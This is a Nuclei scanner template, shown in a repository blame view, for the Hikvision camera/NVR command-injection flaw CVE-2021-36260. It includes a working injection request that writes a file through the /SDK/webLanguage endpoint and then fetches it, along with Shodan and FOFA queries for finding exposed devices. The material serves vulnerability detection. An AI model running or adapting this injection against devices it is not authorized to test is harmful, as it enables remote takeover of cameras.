nuclei-templates/http/cves/2021/CVE-2021-36260.yaml

54 lines
2.2 KiB
YAML
Raw Permalink Normal View History

2021-10-29 08:17:09 +00:00
id: CVE-2021-36260
info:
name: Hikvision IP camera/NVR - Remote Command Execution
2023-08-15 01:57:12 +00:00
author: pdteam,gy741,johnk3r
2021-10-29 08:17:09 +00:00
severity: critical
description: Certain Hikvision products contain a command injection vulnerability in the web server due to the insufficient input validation. An attacker can exploit the vulnerability to launch a command injection attack by sending some messages with malicious commands.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability allows an attacker to execute arbitrary commands on the affected device.
2023-09-06 12:09:01 +00:00
remediation: |
Apply the latest firmware update provided by Hikvision to mitigate this vulnerability.
2021-10-29 08:17:09 +00:00
reference:
- https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html
- https://www.hikvision.com/en/support/cybersecurity/security-advisory/security-notification-command-injection-vulnerability-in-some-hikvision-products/
- https://nvd.nist.gov/vuln/detail/CVE-2021-36260
- https://github.com/Aiminsun/CVE-2021-36260
2023-07-11 19:49:27 +00:00
- https://therecord.media/experts-warn-of-widespread-exploitation-involving-hikvision-cameras/
2021-10-29 08:17:09 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-36260
2023-07-11 19:49:27 +00:00
cwe-id: CWE-78
epss-score: 0.97484
epss-percentile: 0.99965
2023-09-06 12:09:01 +00:00
cpe: cpe:2.3:o:hikvision:ds-2cd2026g2-iu\/sl_firmware:-:*:*:*:*:*:*:*
2021-10-29 09:19:58 +00:00
metadata:
max-request: 2
2023-07-11 19:49:27 +00:00
vendor: hikvision
product: ds-2cd2026g2-iu\/sl_firmware
2023-09-06 12:09:01 +00:00
shodan-query: http.favicon.hash:999357577
2024-05-31 19:23:20 +00:00
fofa-query: icon_hash=999357577
2024-01-14 09:21:50 +00:00
tags: cve2021,cve,hikvision,rce,iot,intrusive,kev
2024-04-15 11:26:37 +00:00
variables:
string: "{{to_lower(rand_base(12))}}"
http:
2021-10-29 08:17:09 +00:00
- raw:
- |
PUT /SDK/webLanguage HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
2024-04-15 11:26:37 +00:00
<?xml version="1.0" encoding="UTF-8"?><language>$(echo {{string}}>webLib/x)</language>
2021-10-29 08:17:09 +00:00
- |
GET /x HTTP/1.1
Host: {{Hostname}}
2023-08-15 01:57:12 +00:00
matchers-condition: and
2021-10-29 08:17:09 +00:00
matchers:
2024-04-15 11:26:37 +00:00
- type: word
part: body_2
words:
- "{{string}}"
# digest: 490a004630440220065a52d1f8b613acf500a3ca6f176e20967966a7073dbca8383b424f06fbac6d0220425642ee1354bc6bfddad340bcff26d909fd7feea5125a3390d327ee75e9ad4b:922c64590222798bb761d5b6d8e72950